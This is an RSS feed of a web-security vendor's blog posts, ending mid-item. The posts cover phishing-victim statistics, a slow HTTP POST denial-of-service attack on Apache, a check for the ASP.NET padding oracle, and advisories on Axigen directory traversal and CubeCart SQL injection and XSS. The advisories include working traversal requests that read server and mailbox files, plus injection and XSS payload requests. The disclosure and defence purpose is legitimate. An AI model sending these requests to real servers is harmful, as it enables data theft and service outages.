<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Acunetix Web Application Security Blog &#187; Bogdan Calin</title>
	<atom:link href="http://www.acunetix.com/blog/author/bogdancalin/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.acunetix.com/blog</link>
	<description>Acunetix Web Application Security Blog</description>
	<lastBuildDate>Thu, 02 Feb 2012 15:03:23 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Statistics from a phisher&#8217;s list</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/statistics-phishing-attacks/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/statistics-phishing-attacks/#comments</comments>
		<pubDate>Tue, 30 Nov 2010 10:55:24 +0000</pubDate>
		<dc:creator>Bogdan Calin</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[cnp]]></category>
		<category><![CDATA[credit card]]></category>
		<category><![CDATA[CVV]]></category>
		<category><![CDATA[personal numeric code]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[scam]]></category>
		<category><![CDATA[statistics]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=2546</guid>
		<description><![CDATA[Yesterday night I was following some security related forums and some person posted a phishing kit for a popular bank from Romania.  A phishing kit is a collection of scripts to help a script kiddie ...]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/11/credit_card.png"><img class="alignleft size-full wp-image-2584" title="credit card" src="http://www.acunetix.com/blog/wp-content/uploads/2010/11/credit_card.png" alt="" width="150" height="138" /></a>Yesterday night I was following some security related forums and some person posted a phishing kit for a popular bank from Romania.  A phishing kit is a collection of scripts to help a script kiddie launch a phishing exploit and steal data such as credit card information, passwords.  While looking through the contents of this phishing kit, to my surprise I found a log file containing many valid credit card numbers and other sensitive information. The phishing kit author posted his own kit on the forums but forgot to delete the log file before doing so.</p>
<p>The log file contained the following information:</p>
<p><span id="more-2546"></span></p>
<ul>
<li>Name</li>
<li>Address</li>
<li>Town/City</li>
<li>Phone Number</li>
<li>CNP</li>
<li>Credit Card Number</li>
<li>Credit Card Expiry Month</li>
<li>Credit Card Expiry Year</li>
<li>CVV (Credit Card Code)</li>
</ul>
<p>There is one piece of information that is more interesting than others; CNP.  In Romania every citizen has a Personal Numeric Code (Cod Numeric Personal &#8211; CNP), which is created by using the citizen&#8217;s gender and century of birth, date of birth, the country zone, followed by a serial number and a checksum.</p>
<p>I&#8217;ve quickly made a Python script to parse the CNP data, validate it and extract the interesting information such as gender and date of birth, to get some interesting statistics.  I&#8217;ve also computed the CNP checksum to make sure the number is valid and exclude bogus numbers.  Below is what I got:</p>
<p><strong>The first statistic is Male/Female distribution</strong></p>
<p><img src="http://chart.apis.google.com/chart?chs=480x256&amp;cht=p&amp;chtt=Male/Female+distribution&amp;chd=s:9d&amp;chco=ff0000&amp;chxl=0:|male(67%)|female(32%)|&amp;chxt=x" alt="" /></p>
<p><strong>The following table shows Birth year/age distribution.</strong></p>

<table id="wp-table-reloaded-id-22-no-1" class="wp-table-reloaded wp-table-reloaded-id-22">
<thead>
	<tr class="row-1 odd">
		<th class="column-1">Birth year</th><th class="column-2">Percent (%)</th><th class="column-3">Age</th>
	</tr>
</thead>
<tbody>
	<tr class="row-2 even">
		<td class="column-1">1985</td><td class="column-2">12</td><td class="column-3">25</td>
	</tr>
	<tr class="row-3 odd">
		<td class="column-1">1987</td><td class="column-2">12</td><td class="column-3">23</td>
	</tr>
	<tr class="row-4 even">
		<td class="column-1">1988</td><td class="column-2">10</td><td class="column-3">22</td>
	</tr>
	<tr class="row-5 odd">
		<td class="column-1">1981</td><td class="column-2">10</td><td class="column-3">29</td>
	</tr>
	<tr class="row-6 even">
		<td class="column-1">1983</td><td class="column-2">10</td><td class="column-3">27</td>
	</tr>
	<tr class="row-7 odd">
		<td class="column-1">1989</td><td class="column-2">7</td><td class="column-3">21</td>
	</tr>
	<tr class="row-8 even">
		<td class="column-1">1967</td><td class="column-2">7</td><td class="column-3">43</td>
	</tr>
	<tr class="row-9 odd">
		<td class="column-1">1982</td><td class="column-2">7</td><td class="column-3">28</td>
	</tr>
	<tr class="row-10 even">
		<td class="column-1">1986</td><td class="column-2">5</td><td class="column-3">24</td>
	</tr>
	<tr class="row-11 odd">
		<td class="column-1">1958</td><td class="column-2">2</td><td class="column-3">52</td>
	</tr>
	<tr class="row-12 even">
		<td class="column-1">1992</td><td class="column-2">2</td><td class="column-3">18</td>
	</tr>
	<tr class="row-13 odd">
		<td class="column-1">1963</td><td class="column-2">2</td><td class="column-3">47</td>
	</tr>
	<tr class="row-14 even">
		<td class="column-1">1976</td><td class="column-2">2</td><td class="column-3">34</td>
	</tr>
	<tr class="row-15 odd">
		<td class="column-1">1977</td><td class="column-2">2</td><td class="column-3">33</td>
	</tr>
	<tr class="row-16 even">
		<td class="column-1">1979</td><td class="column-2">2</td><td class="column-3">31</td>
	</tr>
	<tr class="row-17 odd">
		<td class="column-1">1980</td><td class="column-2">2</td><td class="column-3">30</td>
	</tr>
</tbody>
</table>

<p>A quick glance shows that the oldest person has 52 years old and youngest one is 18 years old.</p>
<p><strong>Surprising:</strong> this statistics show that the big majority of people scammed are the younger generation, between 21 and 30 years old.  This came as a surprise to me.</p>
<p><strong>The last table shows distribution based on month of birth.</strong></p>

<table id="wp-table-reloaded-id-24-no-1" class="wp-table-reloaded wp-table-reloaded-id-24">
<thead>
	<tr class="row-1 odd">
		<th class="column-1">Birth month</th><th class="column-2">Percent (%)</th>
	</tr>
</thead>
<tbody>
	<tr class="row-2 even">
		<td class="column-1">December</td><td class="column-2">17</td>
	</tr>
	<tr class="row-3 odd">
		<td class="column-1">July</td><td class="column-2">15</td>
	</tr>
	<tr class="row-4 even">
		<td class="column-1">September</td><td class="column-2">15</td>
	</tr>
	<tr class="row-5 odd">
		<td class="column-1">November</td><td class="column-2">10</td>
	</tr>
	<tr class="row-6 even">
		<td class="column-1">May</td><td class="column-2">10</td>
	</tr>
	<tr class="row-7 odd">
		<td class="column-1">June</td><td class="column-2">7</td>
	</tr>
	<tr class="row-8 even">
		<td class="column-1">April</td><td class="column-2">7</td>
	</tr>
	<tr class="row-9 odd">
		<td class="column-1">October</td><td class="column-2">5</td>
	</tr>
	<tr class="row-10 even">
		<td class="column-1">March</td><td class="column-2">5</td>
	</tr>
	<tr class="row-11 odd">
		<td class="column-1">February</td><td class="column-2">2</td>
	</tr>
	<tr class="row-12 even">
		<td class="column-1">August</td><td class="column-2">2</td>
	</tr>
	<tr class="row-13 odd">
		<td class="column-1">January</td><td class="column-2">2</td>
	</tr>
</tbody>
</table>

<p><strong>P.S.</strong> These statistics were constructed using data from a few hundred valid person records, and the phishing scam was targeted at Romanian people.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/statistics-phishing-attacks/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>HTTP Post Denial Of Service: more dangerous than initially thought</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/http-post-denial-service/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/http-post-denial-service/#comments</comments>
		<pubDate>Mon, 22 Nov 2010 13:47:14 +0000</pubDate>
		<dc:creator>Bogdan Calin</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[ddos]]></category>
		<category><![CDATA[denial of service]]></category>
		<category><![CDATA[http post]]></category>
		<category><![CDATA[iis]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=2523</guid>
		<description><![CDATA[Wong Onn Chee and Tom Brennan from OWASP recently published a paper* presenting a new denial of service attack against web servers.
What&#8217;s special about this denial of service attack is that it&#8217;s very hard to ...]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/04/http_www.jpg"><img class="alignleft size-full wp-image-1449" title="http_www" src="http://www.acunetix.com/blog/wp-content/uploads/2010/04/http_www.jpg" alt="" width="140" height="106" /></a>Wong Onn Chee and Tom Brennan from OWASP recently published a paper* presenting a new denial of service attack against web servers.</p>
<p>What&#8217;s special about this denial of service attack is that it&#8217;s very hard to fix because it relies on a generic problem in the way HTTP protocol works. Therefore, to properly fix it would mean to break the protocol, and that&#8217;s certainly not desirable. The authors are listing some possible workarounds but in my opinion none of them really fixes the problem.</p>
<p><strong>The attack explained</strong></p>
<p><strong><span id="more-2523"></span><br />
</strong></p>
<p>An attacker establishes a number of connections with the web servers. Each one of these connections contains a Content-Length header with a large number (e.g. Content-Length: 10000000). Therefore, the web server will expect 10000000 bytes from each one of these connections. The trick is not to send all this data at once but to send it character by character over a long period of time (e.g. 1 character each 10-100 seconds). The web server will keep these connections open for a very long time, until it receives all the data. In this time, other clients will have a hard time connecting to the server, or even worse will not be able to connect at all because all the available connections are taken/busy.</p>
<p>In this blog post, I would like to expand on the effect of this denial of service attack against Apache.</p>
<p>First, I would like to start with one of their affirmations:</p>
<blockquote><p>&#8220;Hence, any website which has forms, i.e.<br />
accepts HTTP POST requests, is susceptible to<br />
such attacks.&#8221;</p></blockquote>
<p>At least in the case of Apache, this is not correct. It doesn&#8217;t matter if the website has forms or not.<br />
Any Apache web server is vulnerable to this attack. The web server doesn&#8217;t decide if the resource can accept POST data before receiving the full request.</p>
<p>I&#8217;ve created a very simple <a href="http://www.acunetix.com/vulnerability-scanner/" target="_self">Acunetix WVS</a> <a href="http://www.acunetix.com/blog/docs/creating-vulnerability-checks/" target="_self">test script</a> to reproduce this attack and prove this point:<br />
The script will create 256 sockets, establish a TCP connection to the web server on each socket and start sending data slowly (1 character per second).</p>
<p style="text-align: center;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/11/wvs-scripting1.png"><img class="size-full wp-image-2527 aligncenter" title="wvs-scripting" src="http://www.acunetix.com/blog/wp-content/uploads/2010/11/wvs-scripting1.png" alt="" width="461" height="354" /></a></p>
<p>As you can see in the code from the screen-shot, I&#8217;m making a HTTP POST request to an nonexistent file (<strong>POST /aaaaaaaaaaaa HTTP/1.1</strong>). After a few seconds, the web server becomes completely unresponsive. As soon as I stop the script, the web server starts responding again.</p>
<p>Therefore, any Apache web server is vulnerable to this attack.</p>
<p><strong>How many connections are required until the web server stops responding?</strong></p>
<p>Their paper mentions 20.000 connections as an example. They also make the following note:</p>
<blockquote><p>Apache requires lesser number of connections<br />
due to mandatory client or thread limit in<br />
httpd.conf.</p></blockquote>
<p>Interesting. How much lesser number of connections?  If we look in the Apache 1.3 documentation, we find the following information:</p>
<blockquote><p>The MaxClients directive sets the limit on the number of simultaneous requests that can be supported; not more than this number of child server processes will be created.</p></blockquote>
<blockquote><p>Syntax: MaxClients number<br />
Default: MaxClients 256</p></blockquote>
<p>Therefore, by default Apache 1.3 only allows 256 connections. Therefore, an attacker only needs to steal 256 connections before the web server stops responding. It&#8217;s the same situation even with Apache 2.0.</p>
<p>During my tests, I noticed the following error message in the Apache error log:</p>
<blockquote><p>$tail -f /var/log/apache2/error.log</p>
<p>[Mon Nov 22 15:23:17 2010] [notice] Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.6 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g configured &#8212; resuming normal operations<br />
[Mon Nov 22 15:24:46 2010] [error] server reached MaxClients setting, consider raising the MaxClients setting</p></blockquote>
<p>In conclusion, the denial of service attack affects any Apache web server and one requires only a few hundred connections to make the server completely unresponsive. And based on my knowledge there is no proper fix for it:</p>
<p><strong>Apache response was:</strong></p>
<blockquote><p>“What you described is a known attribute (read: flaw) of the<br />
HTTP protocol over TCP/IP.  The Apache HTTP project declines to treat this<br />
expected use-case as a vulnerability in the software.”</p></blockquote>
<p><strong>And Microsoft&#8217;s response:</strong></p>
<blockquote><p>“While we recognize this is an issue, this issue does not meet our<br />
bar for the release of a security update. We will continue to track this issue<br />
and the changes I mentioned above for release in a future service pack.”</p></blockquote>
<p>That&#8217;s pretty scary!</p>
<p>* The paper published by Wong Onn Chee and Tom Brennan can be found <a href="http://www.owasp.org/images/4/43/Layer_7_DDOS.pdf" target="_blank">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/http-post-denial-service/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>How to check if your application is vulnerable to the ASP.NET Padding Oracle Vulnerability</title>
		<link>http://www.acunetix.com/blog/news/check-application-vulnerable-asp-net-padding-oracle-vulnerability/</link>
		<comments>http://www.acunetix.com/blog/news/check-application-vulnerable-asp-net-padding-oracle-vulnerability/#comments</comments>
		<pubDate>Wed, 22 Sep 2010 10:04:31 +0000</pubDate>
		<dc:creator>Bogdan Calin</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[asp.net]]></category>
		<category><![CDATA[oracle]]></category>
		<category><![CDATA[padding]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=2271</guid>
		<description><![CDATA[ Everybody&#8217;s talking about the ASP.NET Padding Oracle vulnerability released a few days ago at the ekoparty Security Conference. However, until now there wasn&#8217;t enough information on how do you check if your application is ...]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/09/asp-net.png"><img class="alignleft size-full wp-image-2291" title="asp-net" src="http://www.acunetix.com/blog/wp-content/uploads/2010/09/asp-net.png" alt="" width="113" height="50" /></a> Everybody&#8217;s talking about the ASP.NET Padding Oracle vulnerability released a few days ago at the ekoparty Security Conference. However, until now there wasn&#8217;t enough information on how do you check if your application is vulnerable or not.</p>
<p>Yesterday, <a href="http://forums.asp.net/p/1604549/4090643.aspx" target="_blank">Duncan Smart from ASP.NET forums</a> published some very useful information that allows us to do that. An application is vulnerable to a padding oracle attack if it responds differently in the following three cases:</p>
<p><strong>1.</strong> When a valid ciphertext is received (one that is properly padded and contains valid data).<br />
<strong>2.</strong> When an invalid ciphertext is received (one that is not properly padded).<br />
<strong>3.</strong> When a valid ciphertext is received (properly padded) but the decrypted value is not valid for the application.</p>
<p>If you want to know more about padding oracles, a very good resource is <a href="http://www.gdssecurity.com/l/b/2010/09/14/automated-padding-oracle-attacks-with-padbuster/" target="_blank">Automated Padding Oracle Attacks with PadBuster</a>.</p>
<p><strong>How do we apply this to ASP.NET?</strong></p>
<p>The key to attacking ASP.NET is the file <strong>WebResource.axd</strong>. This file is also used in the exploit video released by Juliano Rizzo. This file can be used as a Padding Oracle because it responds differently in all three cases.</p>
<p>Here are the three cases.</p>
<p><strong>1. valid ciphertext</strong><br />
Make a request like <strong>http://website.com/application/WebResource.axd?d=jzjghMVYzFihd9Uhe_arpA2</strong><br />
The response status is <strong>200 OK</strong> and the response body is the content of the web resource you&#8217;ve requested (some javascript code in my case).<br />
<a href="http://www.acunetix.com/blog/wp-content/uploads/2010/09/no_workaround_valid_ciphertext_valid_data.png"><img class="aligncenter size-thumbnail wp-image-2275" title="no_workaround_valid_ciphertext_valid_data" src="http://www.acunetix.com/blog/wp-content/uploads/2010/09/no_workaround_valid_ciphertext_valid_data-150x150.png" alt="" width="150" height="150" /></a></p>
<p><strong>2. invalid ciphertext</strong><br />
Make a request like <strong>http://website.com/application/WebResource.axd?d=acunetix</strong><br />
The response status is <strong>500 Internal Server Error</strong> and the response body is some error message.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/09/no_workaround_invalid_ciphertext.png"><img class="aligncenter size-thumbnail wp-image-2276" title="no_workaround_invalid_ciphertext" src="http://www.acunetix.com/blog/wp-content/uploads/2010/09/no_workaround_invalid_ciphertext-150x150.png" alt="" width="150" height="150" /></a></p>
<p><strong>3.valid ciphertext but invalid data</strong><br />
Make a request like <strong>http://website.com/application/WebResource.axd?d=</strong><br />
The response status is <strong>404 Not Found</strong> and the response body is some error message.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/09/no_workaround_valid_ciphertext_invalid_data.png"><img class="aligncenter size-thumbnail wp-image-2277" title="no_workaround_valid_ciphertext_invalid_data" src="http://www.acunetix.com/blog/wp-content/uploads/2010/09/no_workaround_valid_ciphertext_invalid_data-150x150.png" alt="" width="150" height="150" /></a></p>
<p>This is the padding oracle that allows an attacker to exploit this vulnerability. If your application responds differently in all of these three cases, it&#8217;s vulnerable.</p>
<p>Very important: Setting <strong>CustomErrors </strong>to &#8220;<strong>On</strong>&#8221; or &#8220;<strong>RemoteOnly</strong>&#8221; (in web.config) doesn&#8217;t solve this problem because the padding oracle is still there (the error message displayed on the 500 error page is not important for this vulnerability).  Therefore, the only solution is the one presented by <a href="http://weblogs.asp.net/scottgu/archive/2010/09/18/important-asp-net-security-vulnerability.aspx" target="_blank">Scott Guthrie</a>.  Edit <strong>web.config</strong> to use redirectMode set to ResponseRewrite and defaultRedirect to an error page defined by you.</p>
<pre class="brush:xml">
<configuration>
   <system.web>
     <customErrors mode="On" redirectMode="ResponseRewrite" defaultRedirect="~/error.aspx" />
   </system.web>
</configuration>
</pre>
<p>Once this workaround is applied, the application will return the same status code and response body in all three cases. If you are using  .NET Framework version 3.5 SP1 or 4.0, it&#8217;s even better.</p>
<blockquote><p>If you are using .NET Framework version 3.5 SP1 or 4.0, the workaround provides further protection by also helping to mitigate against potential timing analysis attacks.  The workaround uses the redirectMode=&#8221;ResponseRewrite&#8221; option in the customErrors feature, and introduces a random delay in the error page.  These approaches work together to make it more difficult for an attacker to deduce the type of error that occurred on the server by measuring the time it took to receive the error.</p></blockquote>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/09/workaround.png"><img class="aligncenter size-thumbnail wp-image-2280" title="workaround" src="http://www.acunetix.com/blog/wp-content/uploads/2010/09/workaround-150x150.png" alt="" width="150" height="150" /></a></p>
<p>Today we&#8217;ve released an update for Acunetix WVS that is automatically checks if your application is vulnerable or not to this ASP.NET vulnerability.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/09/acunetix_test_padding_oracle.png"><img class="aligncenter size-thumbnail wp-image-2284" title="acunetix_test_padding_oracle" src="http://www.acunetix.com/blog/wp-content/uploads/2010/09/acunetix_test_padding_oracle-150x150.png" alt="" width="150" height="150" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/check-application-vulnerable-asp-net-padding-oracle-vulnerability/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Directory Traversal in Axigen v7.4.1 running on Windows</title>
		<link>http://www.acunetix.com/blog/news/directory-traversal-axigen/</link>
		<comments>http://www.acunetix.com/blog/news/directory-traversal-axigen/#comments</comments>
		<pubDate>Tue, 14 Sep 2010 10:03:42 +0000</pubDate>
		<dc:creator>Bogdan Calin</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[Acunetix WVS]]></category>
		<category><![CDATA[advisory]]></category>
		<category><![CDATA[axigen]]></category>
		<category><![CDATA[directory traversal]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=2237</guid>
		<description><![CDATA[We are continuing with the list of security vulnerabilities found in a number of web applications while testing our latest version of Acunetix WVS v7 . In this blog post, we will look into the ...]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/09/axigen.png"><img class="alignleft size-full wp-image-2241" title="axigen" src="http://www.acunetix.com/blog/wp-content/uploads/2010/09/axigen.png" alt="" width="162" height="43" /></a>We are continuing with the list of security vulnerabilities found in a number of web applications while testing our latest version of <a href="http://www.acunetix.com/blog/releases/acunetix-7-web-security-easier-cost-effective/" target="_self">Acunetix WVS v7</a> . In this blog post, we will look into the details of a very serious web vulnerability discovered by Acunetix WVS in Axigen.</p>
<p><span id="more-2237"></span></p>
<blockquote><p>Axigen is an integrated email, calendaring &amp; collaboration platform, masterfully built on our unique Linux mail server technology, for increased speed &amp; security.</p></blockquote>
<p>Axigen Webmail version 7.4.1 is vulnerable to a directory traversal vulnerability. Only Axigen installations running on Windows platforms are affected. By URL encoding the <strong>&#8220;\&#8221;</strong> character to <strong>%5C</strong> it&#8217;s possible to bypass the directory traversal protection available in this application. Our scanner reported the following alert:</p>
<p style="text-align: center;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/09/alert.png"><img class="aligncenter size-thumbnail wp-image-2247" title="Acunetix WVS directory traversal alert" src="http://www.acunetix.com/blog/wp-content/uploads/2010/09/alert-150x150.png" alt="" width="150" height="150" /></a></p>
<p>By requesting the following URL (/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows/win.ini) it&#8217;s possible to read the contents of file c:\windows\win.ini. Using this encoding trick it&#8217;s possible to traverse directories and see the contents of any file that is readable by the web server user.</p>
<p>Here is a sample HTTP request:</p>
<pre class="brush:text">GET http://192.168.0.222:80/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows/win.ini HTTP/1.1
Cookie: webmailSession=0; cookieTest=cookiesEnabled; checkOverQuota=0; passwordExpireWarning=0
Host: 192.168.0.222:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)</pre>
<p style="text-align: center;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/09/screenshot.png"><img class="aligncenter size-thumbnail wp-image-2242" title="Acunetix WVS HTTP Editor penetration testing tool" src="http://www.acunetix.com/blog/wp-content/uploads/2010/09/screenshot-150x150.png" alt="" width="150" height="150" /></a></p>
<p>While investigating this alert, I&#8217;ve discovered that this vulnerability is more serious than I initially expected. This is a very serious vulnerability because using information from the log files it&#8217;s possible to gather enough information to read the file containing all the emails from all the domains hosted on the server.</p>
<p>For, example, using an HTTP request like:</p>
<pre class="brush:text">GET /..%5c..%5c/log/everything.txt HTTP/1.0
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: 192.168.0.222
Connection: Close
Pragma: no-cache</pre>
<p>you can access the log file. From here you get determine the domain name and using this information you can read the file containing all the emails from this domain:</p>
<pre class="brush:text">GET /..%5c..%5c/domains/localdomain/00.hsf HTTP/1.0
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: 192.168.0.222
Connection: Close
Pragma: no-cache</pre>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/09/all_emails.png"><img class="aligncenter size-thumbnail wp-image-2248" title="all_emails" src="http://www.acunetix.com/blog/wp-content/uploads/2010/09/all_emails-150x150.png" alt="" width="150" height="150" /></a></p>
<p>This vulnerability was reported to the Axigen team on 22/7/2010 via the support system on their website and they were fixed in Axigen version 7.4.2.  If you are using Axigen, download the latest version from their website. The changelog is available <a href="http://www.axigen.com/press/product-releases/axigen-releases-version-742_74.html" target="_blank">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/directory-traversal-axigen/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>SQL Injection and XSS vulnerabilities in CubeCart version 4.3.3</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/sql-injection-xss-cubecart-4-3-3/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/sql-injection-xss-cubecart-4-3-3/#comments</comments>
		<pubDate>Thu, 09 Sep 2010 09:03:34 +0000</pubDate>
		<dc:creator>Bogdan Calin</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[Acunetix WVS]]></category>
		<category><![CDATA[advisory]]></category>
		<category><![CDATA[cross site scripting]]></category>
		<category><![CDATA[cubecart]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[vulnerabilities]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=2205</guid>
		<description><![CDATA[We are continuing with the list of security vulnerabilities found in a number of web applications while testing our latest version of Acunetix WVS v7 . In this blog post, we will look into the ...]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/09/cubecart.png"><img class="alignleft size-full wp-image-2214" title="cubecart" src="http://www.acunetix.com/blog/wp-content/uploads/2010/09/cubecart.png" alt="" width="288" height="59" /></a>We are continuing with the list of security vulnerabilities found in a number of web applications while testing our latest version of <a href="http://www.acunetix.com/blog/releases/acunetix-7-web-security-easier-cost-effective/" target="_self">Acunetix WVS v7</a> . In this blog post, we will look into the details of a number of security problems discovered by Acunetix WVS in CubeCart .</p>
<p><span id="more-2205"></span></p>
<blockquote><p>CubeCart is a fully featured ecommerce shopping cart solution used by over a million store owners around the world.</p></blockquote>
<p><strong>The following web vulnerabilities were found in CubeCart version 4.3.3;</strong></p>
<ol>
<li>SQL injection in <strong>&#8220;/cubecart_4/index.php&#8221;</strong>, parameter <strong>&#8220;searchStr&#8221;</strong>.</li>
<li>Cross-site Scripting vulnerability in <strong>&#8220;/cubecart_4/modules/gateway/WorldPay/return.php&#8221;</strong>, parameter <strong>&#8220;amount&#8221;</strong>.</li>
<li>Cross-site Scripting vulnerability in <strong>&#8220;/cubecart_4/modules/gateway/WorldPay/return.php&#8221;</strong>, parameter <strong>&#8220;cartId&#8221;</strong>.</li>
<li>Cross-site Scripting vulnerability in <strong>&#8220;/cubecart_4/modules/gateway/WorldPay/return.php&#8221;</strong>, parameter <strong>&#8220;email&#8221;</strong>.</li>
<li>Cross-site Scripting vulnerability in <strong>&#8220;/cubecart_4/modules/gateway/WorldPay/return.php&#8221;</strong>, parameter <strong>&#8220;transId&#8221;</strong>.</li>
<li>Cross-site Scripting vulnerability in <strong>&#8220;/cubecart_4/modules/gateway/WorldPay/return.php&#8221;</strong>, parameter <strong>&#8220;transStatus&#8221;</strong>.</li>
</ol>
<p><strong>Technical details about each web vulnerability are below:</strong></p>
<p><strong>1.</strong> SQL injection in <strong>&#8220;/cubecart_4/index.php&#8221;</strong>, parameter <strong>&#8220;searchStr&#8221;</strong>.</p>
<p><em><strong>Additional details:</strong></em></p>
<p><em><strong>SQL query:</strong></em></p>
<pre class="brush:sql">Error message:
SQL:
SELECT id FROM cube_CubeCart_search WHERE searchstr='''</pre>
<p><em><strong>Sample HTTP Request:</strong></em></p>
<pre class="brush:text">GET /cubecart_4/index.php?_a=viewCat&amp;searchStr='&amp;Submit=Go HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Cookie: PHPSESSID=7c970bfe00c50261d25166dbab43c294; ccUser=7c970bfe00c50261d25166dbab43c294
Host: webapps7:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)</pre>
<div id="attachment_2209" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/09/sql_injection1.png"><img class="size-thumbnail wp-image-2209" title="sql_injection" src="http://www.acunetix.com/blog/wp-content/uploads/2010/09/sql_injection1-150x150.png" alt="" width="150" height="150" /></a><p class="wp-caption-text">sql injection cubecart</p></div>
<p><strong>2.</strong> Cross-site Scripting vulnerability in <strong>&#8220;/cubecart_4/modules/gateway/WorldPay/return.php&#8221;</strong>, parameter <strong>&#8220;amount&#8221;</strong>.</p>
<p><em><strong>Attack details</strong></em></p>
<p>URL encoded GET input <strong>amount</strong> was set to <strong>&#8221; onmouseover=prompt(949088) bad=&#8221;</strong><br />
The input is reflected inside a tag element between double quotes.</p>
<p><strong><em>Sample HTTP Request:</em></strong></p>
<pre class="brush:text">GET /cubecart_4/modules/gateway/WorldPay/return.php?amount=%22%20onmouseover%3dprompt%28949088%29%20bad%3d%22&amp;cartId=&amp;email=&amp;transId=&amp;transStatus= HTTP/1.1
Cookie: PHPSESSID=7c970bfe00c50261d25166dbab43c294; ccUser=7c970bfe00c50261d25166dbab43c294
Host: webapps7:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)</pre>
<p><strong>3.</strong> Cross-site Scripting vulnerability in <strong>&#8220;/cubecart_4/modules/gateway/WorldPay/return.php&#8221;</strong>, parameter <strong>&#8220;cartId&#8221;</strong>.</p>
<p><em><strong>Attack details</strong></em></p>
<p>URL encoded GET input <strong>cartId</strong> was set to <strong>&#8221; onmouseover=prompt(932890) bad=&#8221;</strong><br />
The input is reflected inside a tag element between double quotes.</p>
<p><strong><em>Sample HTTP Request:</em></strong></p>
<pre class="brush:text">GET /cubecart_4/modules/gateway/WorldPay/return.php?amount=&amp;cartId=%22%20onmouseover%3dprompt%28934178%29%20bad%3d%22&amp;email=&amp;transId=&amp;transStatus= HTTP/1.1
